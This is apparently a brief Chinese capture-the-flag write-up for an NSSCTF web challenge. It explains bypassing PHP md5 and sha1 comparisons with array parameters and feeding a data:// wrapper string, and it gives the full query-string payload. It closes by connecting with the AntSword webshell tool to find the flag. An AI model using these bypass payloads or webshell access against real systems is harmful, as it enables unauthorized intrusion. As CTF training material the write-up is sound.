这里需要md5_1不等于md5_2但md5(md5_1)等于md5(md5_2),shel_1和shel_2也是同理，还要传个new_player。这里使用数组绕过对比，用data协议让被读取到Welcome to NSSCTF!!!
最后payload：?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain,Welcome to NSSCTF!!!
题目提示用蚁剑连接成功在根目录下找到flag
一键连接!
2026/2/3